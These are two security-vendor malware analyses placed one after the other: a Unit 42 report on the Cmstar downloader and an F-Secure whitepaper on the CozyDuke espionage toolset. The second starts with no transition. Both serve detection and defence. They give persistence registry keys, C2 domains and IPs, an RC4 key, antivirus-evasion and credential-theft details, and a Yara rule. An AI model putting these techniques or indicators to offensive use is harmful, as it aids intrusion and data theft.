Citizenlab 2016 | Contact | RSS Cmstar Downloader: Lurid and Enfal s New Cousin In recent weeks, Unit 42 has been analyzing delivery documents used in spear-phishing attacks that drop a custom downloader used in cyber espionage attacks. This specific downloader, Cmstar, is associated with the Lurid downloader also known as Enfal . Cmstar was named for the log message CM** used by the downloader. Unit 42 is aware of threat actors using two toolkits MNKit and the Tran Duy Linh toolkit to produce malicious documents that exploit CVE-2012-0158 in order to implant Cmstar. The Cmstar downloader itself has several unique and interesting features, as well as substantial infrastructure overlap with other tools worth discussing. Manual Building of Import Address Table The Cmstar downloader starts by manually building its import address table (IAT), much like shellcode would; however, it uses a rather unique technique. Instead of finding API function names based on their hashed values, this malware enumerates libraries export address table (EAT) and searches for the name of the API function the payload needs to load by using a character to offset array. The payload pairs several comma-separated lists of characters with comma-separated lists of numbers. Each list of characters consists of the set found within the API function name the payload seeks to add to its IAT, while the corresponding list of numbers specifies the offset in the function name where those characters should be placed. For example, if the payload has D,e,A paired with 0,5,19 , this results in the following mapping: at offset 0 in API function name at offset 5 in API function name at offset 19 in API function name The payload loads a specific Windows library s EAT by calling the ImageDirectoryEntryToData API function using the IMAGE_DIRECTORY_ENTRY_EXPORT flag. It then enumerates the library s EAT to find exported function names by checking each function name for the character and the specific offset. Once found, the payload adds the address for the specific API function to its IAT. For instance, the payload checks the EAT of wininet.dll using the comparisons mentioned above to find the address to the DeleteUrlCacheEntryA API function. One specific Cmstar payload that we analyzed used the character/offsets seen in Figure 1 to locate the API functions within three different Windows libraries to build its IAT. Library Characters Offsets Function Name D,e,A 0,5,19 DeleteUrlCacheEntryA wininet.dll advapi32.dll kernel32.dll e,O,A 3,8,12 InternetOpenA e,C,A 3,8,15 InternetConnectA p,O,A 3,4,15 HttpOpenRequestA p,S,A 3,4,15 HttpSendRequestA p,E,A 3,4,14 HttpEndRequestA p,Q,A 3,4,13 HttpQueryInfoA e,R,e 3,8,15 InternetReadFile e,C,e 3,8,18 InternetCloseHandle S,V,A 3,6,13 RegSetValueExA C,s,y 3,6,10 RegCloseKey O,K,A 3,7,12 RegOpenKeyExA D,K,A 3,9,12 RegDeleteKeyA D,V,A 3,9,14 RegDeleteValueA U,r,A 3,6,11 GetUserNameA v,t,S 3,6,12 ConvertSidToStringSidA k,A,A 3,6,17 LookupAccountNameA W,E,c 0,3,6 WinExec C,M,A 0,10,17 CreateFileMappingA U,V,e 0,5,14 UnmapViewOfFile M,O,e 0,7,12 MapViewOfFile Figure 1. Character and Offset Pairs Found in Cmstar Payload and the Resulting API Function Names Cmstar Behavior After manually creating the IAT, Cmstar decrypts its configuration, several encrypted strings, and a piece of shellcode. The embedded configuration contains nothing more than a URL that Cmstar uses as its command and control (C2) location. The encrypted strings within the Trojan include fields used within the HTTP requests that Cmstar will create to communicate with its C2 server, as well as additional strings used to interact with the registry. The Cmstar sample associated with the MNKIT delivery document creates the following registry key to automatically execute at system startup: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xpsfiltsvcs: rundll32.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\xpsfiltsvcs.dll,XpsRegisterServer Unit 42 found an additional encrypted registry key that would allow Cmstar to automatically start up after reboots. However, the code does not decrypt, reference, or use the following registry key in any way, which suggests that the malware author left this artifact in the code after swapping to the run key listed above: HKCU\Software\Microsoft\CTF\LangBarAddIn Cmstar also decrypts a 752-byte piece of shellcode that carries out communications with the C2 server, specifically by sending HTTP POST requests to the following URL: http://happy.launchtrue[.]com:8080/cgl-bin/update.cgi It should be noted that the C2 URL contains the string cgl-bin , which visually resembles the common cgibin folder used by many webservers to run server-side scripts. Unit 42 used the Palo Alto Networks AutoFocus threat intelligence service to locate additional samples using the cgl-bin string within URLs of HTTP requests and found several samples of the Cmwhite tool associated with the LURID/Enfal downloader1, as seen in Figure 2. Figure 2. Cmwhite Tools Using cgl-bin within HTTP Requests Cmstar s HTTP POST requests sent to happy.launchtrue[.]com contain data that the Trojan gathers from the infected machine that has the following structure: @@??]]**!!== In one example, Unit 42 observed the following data within an analysis environment, which was then encrypted using a single-byte XOR algorithm and a key of 0x45 before being sent to the C2 server: 510@@1??1]]**0!!150316o== Helpfully, the malware author writes log messages to the DF64159.TMP file, used for debugging purposes throughout the execution of the Cmstar downloader. The log messages are abbreviated strings that describe specific activities during the execution of the code. For instance, the downloader uses the CreateMutex to create a mutex named {53A4988C-F91F-4054-9076-220AC5EC03F3} to determine if another instance of the code is running. If the downloader determines another instance of itself is running, the code writes the string CM** which happens to be the basis for the name of the Trojan the log file. Unit 42 created a Yara signature to detect Cmstar samples based on these debugging strings, which is available in the appendix. Hashing Process Names As mentioned in the behavioral analysis section, the Cmstar downloader gathers system-specific information to send to the C2 server. One such piece of information is the existence of specific running processes. Many malware families and tools check for the existence of antivirus, but the Cmstar tool does so in a clever way. Rather than including a list of strings of associated processes, Cmstar enumerates the running processes and subjects these process names to a hashing algorithm. The results of this algorithm are then compared against three static values: 0x1E00AFA, 0xBEE091E8 and 0xD46FCDFA. Unit 42 reverse engineered the algorithm and created the function seen below to generate hashes in order to determine the processes Cmstar is trying to find: def hashStr(st): hash = 0 def hashStr(st): hash = 0 count = 0 while count < len(st): h1 = (hash<<0x13)&0xFFFFFFFF h2 = (hash>>0x0d)&0xFFFFFFFF h3 = (h1|h2)&0xFFFFFFFF hash = (h3 + (ord(st[count])^0x4a))&0xFFFFFFFF count += 1 return hash Unit 42 found that the string subjected to the algorithm above results in the value 0x1E00AFA, which suggests the Cmstar sample specifically looks for Kaspersky s Anti-virus product (avp.exe) running on the compromised system. If the Trojan finds processes whose hash matches the three values mentioned earlier, it sets a boolean value (the character ) within the data sent to the C2 server and continues carrying out its functionality. Rather than altering its activities, Cmstar only notifies the C2 server if a system is running one of these processes, suggesting that the threat actors might employ this technique as a filtering mechanism to ignore analysis systems and researchers. Threat Infrastructure In order to determine the intrusion set involved with the Cmstar, Unit 42 enumerated infrastructure used by the downloader for its C2 servers. The related infrastructure chart in Figure 3 shows a rather large cluster of related entities with one small set of entities that do not share any related entities with the larger cluster. Figure 3. Infrastructure and Entites Related to Cmstar As seen in the chart above, the C2 domain happy.launchtrue[.]com was originally registered using the email address WANGMINGHUA6@GMAIL[.]COM . When Unit 42 used the Palo Alto Networks AutoFocus threat intelligence service to locate additional Cmstar samples, we found several with C2 domains that also had the same original registrant: links.dogsforhelp[.]com three.earewq[.]com question.eboregi[.]com here.pechooin[.]com sarey.phdreport[.]com bakler.featurvoice[.]com The only known Cmstar C2 domain not initially registered by the email address was help.ubxpi0s[.]com. Further analysis revealed that additional domains related to Cmstar C2 domains were also originally registered using the email address WANGMINGHUA6@GMAIL[.]COM and updated to the current information within a few days. In addition, this was the original registrant for C2 domain used in our Google Code blog2, indicating this registrant email is likely a re-seller, and/or someone who initially sets up infrastructure for particular APT threat actors. forever.cowforhelp[.]com question.shiesiido[.]com endline.biortherm[.]com right.marubir[.]com baby.brabbq[.]com lind.kruptcy[.]com The rest of the domains related to the Cmstar infrastructure did not use the original registrant noted above, but instead kept the same information initially used to register them. The difference in domain registration patterns could indicate threat actor preference, or could indicate there are at least two groups using this malware whose infrastructure at times overlaps. under.suttgte[.]com help.ubxpi0s[.]com finally.basiccompare[.]com crystal.diskfunc[.]com queenfansclub[.]com novnitie[.]com flash-vip[.]com replyfunt[.]com natcongress[.]com keep.regebky[.]com love.regebky[.]com Interestingly, the updated registrant information (or original, in the cases where it wasn t changed) for all of the C2 domains in this blog has also been used to register scam sites, most purporting to sell knock-off designer products like shoes, software, or cell phones. The contact emails and contact names can vary, but the address is re-used. Blue Coat noted this pattern as well in a blog published late last year, which also noted the WANGMINGHUA6@GMAIL[.]COM registrant email.3 It is not known whether the threat actors conducting the malicious activity are also behind the scam sites. Conclusion The Cmstar tool has several interesting features, including a previously unseen method of manually creating its import address table using an API function name character to offset mapping techniques, and a hashing algorithm used to find antivirus processes on an infected system. Both of these features are noteworthy and may provide the ability to correlate future tools to the same group and/or malware authors. The URL used by Cmstar to communicate with its C2 server, as well as significant infrastructure overlap, show a direct relationship between the Cmstar downloader, Lurid/Enfal and Cmwhite tools. In a majority of the cases, threat actors using the Cmstar downloader initially register the C2 domains using the email address WANGMINGHUA6@GMAIL[.]COM and later change the registration information to include a different email address. Unit 42 cannot positively confirm that the threat actors control the WANGMINGHUA6@GMAIL[.]COM email address, or if the email address belongs to a reseller that the threat actors buy domains from to create their infrastructure; however, we do believe this is an interesting TTP worth tracking in future infrastructure enumeration. 1. THE LURID DOWNLOADER Nart Villeneuve and David Sancho http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf 2. Attacks on East Asia using Google Code for Command and Control Jen Miller-Osborn and Rob Downs http://researchcenter.paloaltonetworks.com/2014/08/attacks-east-asia-using-googlecode-command-control/ 3. Linking APTs from 2011 and 2014 to an Active Scam Network Kiel Wadner https://www.bluecoat.com/security-blog/2014-10-08/linking-apts-2011-and-2014-active-scamnetwork Appendix Known Cmstar Downloaders Filename: xpsfiltsvcs.tmp SHA256: 239a25ac2b38f0be9392ceeaeab0d64cb239f033af07ed56565ba9d6a7ddcf1f C2: links.dogsforhelp.com Filename: xpsfiltsvcs.tmp SHA256: 6b557c22ab12e8ea43d29e4f9f8a9483e3e75cd41338a674c9069b6dacdf7ba7 C2: question.eboregi.com Filename: xpsfiltsvcs.tmp SHA256: 7ade616a8f1750cecba944a02e2bce1340b18a55697b29f721ccc4701aadba6e C2: links.dogsforhelp.com Filename: xpsfiltsvcs.tmp SHA256: 88184983733f4d4fa767ad4e7993b01c5754f868470dd78ac1bad2b02c9e5001 C2: here.pechooin.com Filename: xpsfiltsvcs.tmp SHA256: b9d597aea53023727d8564e47e903b652f5e98a2c32bdc23bc4936448fb2d593 C2: question.eboregi.com Filename: xpsfiltsvcs.tmp SHA256: e0b3cc07d3a9b509480b240368dee2a29713ea1e240674c0ccf610c84810a7c5 C2: question.eboregi.com Filename: xpsfiltsvcs.txt SHA256: f4b8f71c0e10a345a855763e01033e2144e949c8f98c271755cc025e3f55b7da C2: three.earewq.com Filename: xpsfiltsvcs.tmp SHA256: 2e00a98212c5a2015d12612f0d26039a0c2dfee3e1b384675f613e683f276e02 C2: bakler.featurvoice.com Filename: xpsfiltsvcs.dll SHA256: 42ed2edc37b957266ff7b02955a007dd82d955c09ef7be23e685d938e40ad61d C2: turber.xoxcobbs.com Filename: xpsfiltsvcs.dll SHA256: 9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c C2: happy.launchtrue.com Filename: xpsfiltsvcs.tmp SHA256: a330c52b7643de9d8be51a4ae0150b7b8390dbabaea9704069694835fbd3298e C2: three.earewq.com Filename: xpsfiltsvcs.tmp SHA256: a8fa487d9f2152738bf49c8c69e8a147aae55c06f37c7e25026a28f21601ad7f C2: sarey.phdreport.com Filename: xpsfiltsvcs.tmp SHA256: c99c0b37f2fd64fa523d39c35ead6416a684ae203ae728feb5feff8490eb902c C2: help.ubxpi0s.com Filename: xpsfiltsvcs.tmp SHA256: d541280b37dd5e2101cc5cd47b0991b8320714f5627b37646330136cddef0c23 C2: three.earewq.com Filename: coyote_load.dll SHA256: adb05c1eecd789582886b3354b53831df9c9a06e891bb687633ee7ce21417edc C2: bakler.featurvoice.com Delivery Documents Installing Cmstar Filename: .doc (What is needed reform of the army Ukraine.doc) MD5: 76ffb9c2d8d0ae46e8ea792ffacc8018 SHA256: c26c67eac20614038aaadfda19b604862926433333893d65332928b5e36796aa Type: MIME entity text Toolkit: MNKit Author: User123 Last Saved By: User123 Created: 2012-05-01T14:08:00Z Modified: 2012-05-01T14:12:00Z Filename: .doc (launch of the carrier rocket Soyuz.doc) MD5: 6fdeadacfe1dafd2293ce5c4e178b668 SHA256: e39b0e777ef0135c1f737b67988df70c2e6303c3d2b01d3cdea3efc1d03d9ad9 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: .doc (RF China Agriculture and Economy.doc) MD5: 9da10a36daf845367e0fc2f3e7e54336 SHA256: a0aeb172a72442d2c2c02e1d32b48accb9975c4da7742df24d9350a8ccd401f2 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: .doc (Former Prime Minister started to check with their lethargy.doc) MD5: f7d47e1de4f5f4ad530bca0fc080ea53 SHA256: 4883286b8229a2c43db17eb1e1c5bd79d1933e840cdfedff80d5b99a84c9e39f Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: .doc (launch of the carrier rocket Soyuz.doc) MD5: 6fdeadacfe1dafd2293ce5c4e178b668 SHA256: e39b0e777ef0135c1f737b67988df70c2e6303c3d2b01d3cdea3efc1d03d9ad9 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 5aeb8a5aa8f6e2408016cbd13b3dfaf0 SHA256: df34aa9c8021f1f0bdf33249908efc4a9628941453ad79b281b3a46bf9a7f37f Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: .doc (Putin s invitation.doc) SHA256: 45027d11ab783993c413f97e8e29759d04b04564f8916f005f5c632f291697bb Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 46bf922d9ae07a9bc3667a374605bdbb SHA256: 7dc78caf515d1d3d2b84be7c023ccbd0b4fd670a42babcbcbd5a5ba65bbdd166 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: -2015.doc (Army-2015.doc) MD5: 783a423f5e285269126d0d98f53c795b SHA256: 5b338decffe665a2141d1079c32b2d612057d1fdbfddf198cc28003dae7f0516 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: 70 .doc (Happy 70 years of victory.doc) MD5: 510b3272342765743a202373261c08da SHA256: 0a10d7bb317dceccd05d18408fd6b8b12c784910e5f7e035ee22c2c5d7e4cbf5 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: new resume.doc MD5: c5ae7bd6aec1e01aa53edcf41962ac04 SHA256: 87bcc6d18c6a81d92d826b232703dee84b522bd1d0cae56f74bcf58fdca0930e Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 3d41e3c902502c8b0ea30f5947307d56 SHA256: b65dd4da9f83c11fcb5beaec43fabd0df0f7cb61de94d874f969ca926e085515 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: -2015.doc (Center-2015.doc) MD5: 94499ff857451ab7ef8823bf067189e7 SHA256: 671dfc4d47a43cf0bd9205a0f654dcd5050175aef54b69388b0c5f4610896c6a Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Related Cmwhite Tools MD5: 3fff0bf6847d0d056636caef9c3056c3 SHA256: 13c1d7eb2fd64591e224dec9534d8252f4b91e425e8f047b36605138d15cbf2d C2: stone.timmf.com MD5: 30a6c3c7723fe14c4b6960fa3e4e57ba SHA256: ab934c6177be0fdc3b6dfbf21f60ce7837a30e6599dcfb111b43008c75ceb91f C2: xphome.mailru-vip.com C2: error.yandex-pro.com MD5: e0417547ba54b58bb2c8f795bca0345c SHA256: 1cf44815f9eb735e095f68c929d5549e0ebc44af9988cccaf1852baeb96bb386 C2: dns.thinkttun.com MD5: d05f012c9c1a7fb669a07070be821072 SHA256: a37f337d0bc3cebede2039b0a3bd5afd0624e181d2dcc9614d2f7d816b5a7a6b C2: help.redhag.com C2: mssage.hotoicq.com C2: new.hoticq.com Cmstar Yara Rule rule ce_enfal_cmstar_debug_msg rule ce_enfal_cmstar_debug_msg meta: author = "rfalcone" description = "Detects the static debug strings within CMSTAR" reference = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c" date = "5/10/2015" strings: $d1 = "EEE\x0d\x0a" fullword $d2 = "TKE\x0d\x0a" fullword $d3 = "VPE\x0d\x0a" fullword $d4 = "VPS\x0d\x0a" fullword $d5 = "WFSE\x0d\x0a" fullword $d6 = "WFSS\x0d\x0a" fullword $d7 = "CM**\x0d\x0a" fullword condition: uint16(0) == 0x5a4d and all of ($d*) COZYDUKE TLP: WHITE CONTENTS Introduction The CozyDuke toolset Attack overview Infection vector Target details Timeline Attribution & links Technical Details Initial infection CozyDuke main dropper CozyDuke main component Overview Persistence Configuration data Command and control communication Tasks Modules Executables CozyDuke Evolution CozyDuke Terminology and Naming Appendix A | Sample hashes Appendix B: IOCs This whitepaper provides an overview of CozyDuke, a set of tools used by one or more malicious actors for performing targeted attacks against high profile organizations, such as governmental organizations and other entities that work closely with these institutions. The CozyDuke toolset, which we believe has been under active development since at least 2011, consists of tools for infecting targeted hosts, establishing and maintaining backdoor access to the hosts, gathering information from them and gaining further access to other hosts inside the victim organization. Based on command and control (C&C) server information found being used by CozyDuke tools, we believe the CozyDuke toolset is used by at least one malicious actor who also uses, or at the least shares, infrastructure with actors using the known threats, MiniDuke and OnionDuke. F-SECURE LABS SECURITY RESPONSE Malware analysis Whitepaper COZYDUKE Malware analysis INTRODUCTION Target details THE COZYDUKE TOOLSET We have reason to believe CozyDuke is being used to target governmental organizations and entities that work closely with such bodies. CozyDuke, as referred to in this document, is a set of tools used by one or more malicious actors for performing targeted attacks against high profile organizations. The core of the CozyDuke toolset is a modular attack platform consisting of a main component augmented by a set of additional modules implementing further functionality. The CozyDuke toolset also includes multiple kinds of droppers for infecting hosts with CozyDuke or for executing additional tools from the CozyDuke toolset. Finally, the CozyDuke toolset includes tools and scripts some custom-written, others based on openly available tools that are used for purposes such as gathering further information from infected hosts or for infecting additional hosts in the same target organization. ATTACK OVERVIEW Infection vector We have observed CozyDuke being spread via email, which usually contain a link to a compromised website hosting a ZIP file (although in at least one case, the file was hosted on Dropbox). These files contain an executable that, upon execution, will write to disk and execute CozyDuke, while at the same time presenting the user with a decoy to divert attention. The decoy is usually an uninteresting PDF, but we have also observed a Flash video of monkeys being presented as the decoy. Timeline We believe the current CozyDuke activity started at the end of January 2015. Most of the samples we have observed were compiled beginning from the end of January. However, based on comparisons of recent CozyDuke samples against older samples we have obtained dating back as far as the end of 2011, we believe CozyDuke has been under active development since at least 2011. Attribution & links We have strong evidence suggesting the group using CozyDuke is the same as - or at the least shares command and control infrastructure with - the group or groups using MiniDuke and OnionDuke. Firstly, a CozyDuke sample from February of 2012 attempts to contact a C&C server at nostressjob.com. This domain has previously been associated with known MiniDuke C&C infrastructure. This same infrastructure has also been seen in use by OnionDuke. Secondly, we also have reason to believe CozyDuke has, in some instances, downloaded and executed droppers for DLL files reminiscent of OnionDuke. Specifically, the DLLs dropped have used file and export names also used by OnionDuke. Additionally, the strings in the DLLs have been encrypted using the same algorithm used by OnionDuke. This link is, however, not as conclusive as the infrastructure overlap. FIGURE 1: C&C INFRASTRUCTURE CONNECTIONS BETWEEN COZYDUKE, MINIDUKE AND ONIONDUKE CozyDuke MiniDuke OnionDuke nostressjob.com grouptumbler.com overpict.com postmaster@grouptumbler.com John Kasai COZYDUKE Malware analysis TECHNICAL DETAILS INITIAL INFECTION COZYDUKE MAIN DROPPER Infection with CozyDuke begins with the victim receiving an email containing a link to a ZIP file. This ZIP file will contain a single executable, usually a self-extracting RAR archive. Upon execution, it will write two files to disk. The first file is a decoy. The decoy has usually been a PDF document but Flash videos have also been observed in some cases. The second file extracted from the archive is a CozyDuke dropper. This dropper will then proceed to write to disk the main CozyDuke components as well as an encrypted configuration file used by CozyDuke. The main CozyDuke dropper, used for infecting hosts with CozyDuke, begins by checking whether the victim has an anti-virus product installed. Should an installed product be found, it will be compared to a predetermined list of product names. If the installed product matches a name on the list, the dropper will immediately exit. Newer versions of the dropper will perform additional checks to ensure the dropper is not being executed inside a virtual machine or a known malware analysis sandbox environment. Should either of these checks fail, the dropper will likewise exit immediately. FIGURE 2: THE COZYDUKE INFECTION FLOW ZIP file Malicious link Downloads ZIP file The first resource, 0x000A, contains as its payload a Microsoft cabinet archive. This archive contains the CozyDuke components that the dropper will later install on the victim system. The second resource, 0x000B, contains as its payload an XML file with instructions for the dropper on where to install the dropped components and what to name them. Extracts Self-extracting Extracts CozyDuke main dropper CozyDuke Encrypted configuration components file Next, the dropper will find and decrypt encrypted data stored as two PE resources embedded in the executable. These resources are named with the hexadecimal identifiers 0x000A and 0x000B. Both resources are structured similarily. They begin with a four-byte value specifying the length of the included decryption key. This decryption key immediately follows the length field. Finally, the rest of the resource is the encrypted payload. The encryption used is a simple XOR with a rotating key. Extracts Decoy document The dropper will then proceed to write the CozyDuke components to the specified location. The dropper will additionally copy the system file rundll32.exe to the install location for CozyDuke. This file will also use a name specified in the droppers configuration file. Finally, the dropper will use the copy of rundll32.exe to load and execute the CozyDuke main component. COZYDUKE Malware analysis COZYDUKE MAIN COMPONENT Overview The main component of CozyDuke is a DLL file responsible for orchestrating all of CozyDuke s activity on a victim machine. The main component is executed by the CozyDuke dropper using a copy of rundll32.exe. The entrypoint function varies, but is always specified in the dropper configuration. The most important functionalities offered by the main component are establishment of persistence, gathering of basic system information, communication with the C&C server and the execution of additional tasks, modules or executables as commanded by the C&C server. Persistence CozyDuke may use multiple techniques for establishing persistence; the following is one technique used. Firstly, CozyDuke may set itself to be executed at system startup by adding a registry value under any of the following registry keys: HKLM\Software\Microsoft\Windows\ CurrentVersion\Run\ HKCU\Software\Microsoft\Windows\ CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run HKCU\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run The name of the registry value will usually be the filename, (without the extension) of the CozyDuke main component. CozyDuke may also register itself as a Windows service or scheduled task. Additionally, CozyDuke may utilize a technique known as COM-object hijacking to establish persistence. To achieve this, CozyDuke will hijack the registry entries for the COM object SharedTaskScheduler . CozyDuke will modify the registry entries in such a way that any loading of the SharedTaskScheduler COM object will first load a special CozyDuke module that will ensure CozyDuke stays active on the victim host. Configuration data The configuration data for CozyDuke is stored as a separate RC4-encrypted file that is written to disk by the CozyDuke dropper during initial infection. The name of the encrypted configuration file on disk has been racss. dat in all of the observed cases. The decrypted file is formatted as XML with the UTF-16LE character encoding. FIGURE 3: SCREENSHOT OF A DECRYPTED COZYDUKE CONFIGURATION FILE COZYDUKE Malware analysis TABLE 1: DETAILS OF KNOWN COZYDUKE C&C SERVERS Dropper SHA1 Protocol Domain/IP Path Port 75aeaee253b5c8ae701195e3b0f49308f3d1d932 HTTP www.sanjosemaristas. com /app/index.php 75aeaee253b5c8ae701195e3b0f49308f3d1d932 HTTP www.cifss. org /product_thumb/index.php 446daabb7ac2b9f11dc1267fbd192628cc2bac19 HTTP pvt.relance.fr /catalogue/json/index.php 87668d14910c1e1bb8bbea0c6363f76e664dcd09 HTTPS 200.119.128.45 /mobile.php 87668d14910c1e1bb8bbea0c6363f76e664dcd09 HTTPS 202.206.232.20 /rss.php ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 HTTPS www.getiton.hants. org.uk /themes/front/img/ajax.php f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b HTTPS www.seccionpolitica. com.ar /galeria/index.php 9b56155b82f14000f0ec027f29ff20e6ae5205c2 HTTPS 200.125.133.28 /search.php 9b56155b82f14000f0ec027f29ff20e6ae5205c2 HTTPS 200.125.142.11 /news.php bf265227f9a8e22ea1c0035ac4d2449ceed43e2b HTTPS 203.156.161.49 /plugins/twitter.php 32b0c8c46f8baaba0159967c5602f58dd73ebde9 HTTPS 209.40.72.2 /plugins/fsearch.php 78e9960cc5819583fb98fb619b33bff7768ee861 HTTPS 210.59.2.20 /search.php 78e9960cc5819583fb98fb619b33bff7768ee861 HTTPS 121.193.130.170 /wp-ajax.php ce9d077349638ffd3e1ad68cda76c12cfb024069 HTTPS 208.75.241.246 /msearch.php ac2b5928f46069111f4334f650a7dbf1b5f026d5 HTTPS 183.78.169.5 /search.php ac2b5928f46069111f4334f650a7dbf1b5f026d5 HTTPS 201.76.51.10 /plugins/json.php bf9d3a45273608caf90084c1157de2074322a230 HTTPS 208.77.177.24 /fsearch.php Note: Domain names intentionally broken In all CozyDuke samples from 2015, the configuration data has been encrypted with the RC4 key B5 78 62 52 98 3E 24 D7 3B C6 EE 7C B9 ED 91 62. In CozyDuke samples from July of 2014, the RC4 key has been embedded in the encrypted configuration file. In this case, the encrypted configuration file will begin with a 4-byte value specifying the length of the included RC4 key. This will be followed by the actual key. Finally, the rest of the file will be the actual configuration data. Command and control communication CozyDuke s main method of communicating with its command and control server is using either HTTP or HTTPS. The method of communication, as well as the address to connect to, are specified in CozyDuke configuration data. In the cases we have observed, the configuration data for any single CozyDuke instance has included the details of either one or two C&C servers. Listed above are details of known CozyDuke C&C servers. We believe all of the ones listed are compromised servers. In addition to its main communication method, CozyDuke also features the ability to use Twitter as a backup C&C channel. In cases where CozyDuke utilizes this functionality, the twitter account to be used will be specified in CozyDuke s configuration data. We have only observed two samples where a backup Twitter account was actually specified in the configuration data. These accounts were @US2515 and @monkey_drive. Tasks CozyDuke s primary purpose is the execution of tasks. These tasks usually involve the execution of modules or executables providing additional functionality. The main difference between the two is that modules are DLL files loaded in memory by the CozyDuke main component, whereas executables are PE executable files that CozyDuke will write to disk and execute. For the purpose of managing tasks, the main component of CozyDuke implements 6 commands that the C&C server can specify. These commands are briefly described in Table 2 (overleaf). REFERENCE I. GData; Paul Rascagneres; COM Object hijacking: the discreet way of persistence: An Analysis of a new persistence mechanism in the wild; published 30.10.2014; https://blog.gdatasoftware.com/blog/article/com-object-hijacking-the-discreet-way-of-persistence.html COZYDUKE Malware analysis TABLE 2: 6 COZYDUKE C&C SERVER COMMANDS Command Delete Stop Modify Upload Download Purpose Add task Delete task Stop task Modify task or configuration Upload data Download data The following chapter, CozyDuke Tasks, provides further information on the tasks CozyDuke has been observed executing. COZYDUKE TASKS Based on samples obtained from our own collections and generously shared to us by a trusted source, we have been able to identify some of the tasks executed recently by CozyDuke. These tasks can be divided into two categories. The first consists of CozyDuke modules which are DLL files loaded in memory by the main component of CozyDuke for the purposes of extending CozyDuke s functionality. The second category consists of PE executable files that CozyDuke will write to disk and execute on the infected host. These executables are usually droppers similar to those used to infect a host with CozyDuke. In this case, however, instead of dropping CozyDuke, the executables may drop other executables, scripts or DLLs. Once executed by CozyDuke, these executables function independently of CozyDuke s main component. Modules Listed below are the modules we have observed being used: TABLE 3: COZYDUKE MODULES Module Type Command execution module Password stealer module NTLM stealer module System info module Screenshot module Purpose Can be used to execute arbitrary commands by invoking C:\ Windows\System32\cmd.exe Will attempt to harvest stored credentials from the victim Will attempt to harvest credentials stored on the victim host that are used as part of Windows NTLM user authentication Will attempt to gather comprehensive information on the victim host s configuration Will take a screenshot of the victim host Executables We have observed executables executed by CozyDuke for the following purposes: Dropping and executing scripts for collecting information and credentials from the victim organization s Active Directory environment Dropping and executing scripts for further penetrating the victim organization with the help of commonly available tools such as Mimikatz and PSExec Dropping and executing additional malware with the same file and export naming conventions as OnionDuke and the same string encryption algorithm as OnionDuke These executables will implement their own methods of C&C communication and data exfiltration. In many cases, the scripts utilized Microsoft OneDrive accounts for data transfer. COZYDUKE EVOLUTION The earliest CozyDuke sample we have observed so far was compiled on the 29th of December, 2011. The sample in question was not an actual CozyDuke main component, but a CozyDuke module. The earliest main component we observed was compiled on the 29th of February, 2012. The main component in question stores its strings and configuration in an unencrypted form. Additionally, the configuration is stored embedded in the binary, not as a separate XML file in the manner of newer CozyDuke versions. Even this oldest main component does however use XML for other purposes via the open-source Pugi-XML library. The next CozyDuke main component we observed was compiled on the 30th of November, 2012. By then, the authors had switched to encrypting the strings and the configuration. However, the configuration was still stored embedded in the binary. Design-wise, this sample is a bit of an outlier. Instead of being a DLL file, the main component is actually an EXE that, in addition to the configuration, embeds multiple DLLs that provide additional functionality to the main component. Apart from the different design, functionally the main component is very similar to other CozyDuke main components. It is possible the authors of CozyDuke were trying out a new design, but eventually decided to go back to the original. The next CozyDuke main component we observed, compiled on the 2nd of July, 2014, is again a DLL file. By now, the authors of CozyDuke had switched from COZYDUKE Malware analysis FIGURE 4: TIMELINE OF COZYDUKE EVOLUTION 30/11/12 Executable CozyDuke main component 426KB EXE Encrypted strings Encrypted embedded configuration 26/2/15 CozyDuke main component 820KB DLL Encrypted strings Encrypted external configuration 29/12/11 Oldest known CozyDuke module Unencrypted strings 2012 2013 2014 2015 2/7/14 CozyDuke main component 279KB DLL Encrypted strings Encrypted external configuration 29/2/12 Oldest known CozyDuke main module 266KB DLL Unencrypted strings Unencrypted embedded configuration an embedded configuration to the external XMLformatted configuration file seen today. We have yet to observe samples from 2013, but we believe CozyDuke to have been under active development as well during that year. Between 2012 and 2014, the authors of CozyDuke appear to have performed significant refactoring of the CozyDuke codebase, even though functionally the differences are smaller. 